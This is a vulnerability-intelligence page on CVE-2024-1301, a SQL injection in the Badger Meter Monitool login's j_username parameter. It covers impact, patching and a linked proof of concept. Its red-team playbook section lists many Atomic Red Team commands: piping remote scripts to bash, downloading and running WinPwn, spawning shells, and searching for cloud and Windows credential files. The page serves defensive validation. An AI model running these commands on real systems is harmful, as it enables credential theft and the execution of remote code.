CVE-2024-1301
Overview
This vulnerability is a SQL injection flaw originating from improper sanitization of user input in the Badger Meter Monitool application. Specifically, the j_username parameter in the authentication process fails to validate or escape SQL statements, allowing malicious input to be executed directly against the backend database. The affected component is the server-side authentication mechanism handling user credentials in versions 4.6.3 and earlier.
Vulnerability Description
SQL injection vulnerability in Badger Meter Monitool affecting versions 4.6.3 and earlier. A remote attacker could send a specially crafted SQL query to the server via the j_username parameter and retrieve the information stored in the database.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary SQL queries on the backend database, enabling unauthorized retrieval, modification, or deletion of sensitive information. Because the attack vector requires no authentication (AV:N/AC:L/PR:N/UI:N), it can be launched remotely over the network without user interaction. This can lead to significant data breaches and compromise of system integrity within environments running vulnerable versions of Badger Meter Monitool.
Solution
Users of Badger Meter Monitool should upgrade to versions later than 4.6.3 as recommended in the INCIBE advisory (https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-badger-meters-monitool). The vendor has released patches addressing this SQL injection vulnerability. Administrators should apply these updates promptly following the vendor’s instructions to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The SQL injection vulnerability present in Badger Meter Monitool versions 4.6.3 and earlier allows an attacker to manipulate SQL queries by injecting malicious code through the j_username parameter. This weakness arises from insufficient input validation and sanitization, enabling an attacker to execute arbitrary SQL commands against the underlying database. By crafting specific input, an attacker can bypass authentication mechanisms, retrieve sensitive data, or even modify database entries. The severity of this vulnerability is underscored by its CVSS score of 7.5, indicating a high level of risk that necessitates immediate attention.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could initiate a remote attack by sending specially crafted requests to the server hosting the Monitool application. For instance, by manipulating the j_username parameter in a login form, an attacker could inject SQL statements that reveal user credentials or other sensitive information stored in the database. Furthermore, if the attacker possesses knowledge of the database schema, they could escalate their attack to perform data manipulation operations, such as deleting records or altering user permissions. This type of exploitation not only compromises the integrity of the data but also poses a significant threat to the confidentiality of sensitive information.
The real-world impact of this vulnerability can be substantial, particularly for organizations relying on Badger Meter Monitool for operational management. The potential for unauthorized access to sensitive data, such as customer information, financial records, or proprietary business data, can lead to severe business risks, including reputational damage, regulatory penalties, and financial losses. Additionally, the exploitation of this vulnerability could facilitate further attacks within the organization, such as lateral movement to other systems or the installation of malware. The cascading effects of a successful SQL injection attack can disrupt business operations and erode customer trust, making it imperative for organizations to address this vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. First, regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities in the application before they can be exploited. Additionally, employing web application firewalls (WAFs) can provide an additional layer of protection by filtering and monitoring HTTP requests for malicious payloads. Organizations should also enforce strict input validation and parameterized queries in their database interactions to prevent injection attacks. Furthermore, maintaining up-to-date software versions and applying security patches promptly is crucial in minimizing exposure to known vulnerabilities.
In conclusion, the SQL injection vulnerability in Badger Meter Monitool represents a significant threat to organizations utilizing the application. The ability for remote attackers to execute arbitrary SQL commands can lead to severe consequences, including data breaches and operational disruptions. By understanding the technical details of the vulnerability, recognizing potential attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks associated with this type of security flaw. Proactive measures, combined with a culture of security awareness, are essential in safeguarding sensitive information and maintaining the integrity of business operations.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Badgermeter | Monitool | All |
cpe:2.3:a:badgermeter:monitool:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
guillermogm4/CVE-2024-1301---Badgermeter-moni-tool-SQL-Injection
POC Badgermeter moni tool - CVE-2024-1301
|
guillermogm4 | 0 | 0 | 2024-02-08 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-1301 |
| incibe.es |
GitHub CVE
|
https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-badger-meters-monitool |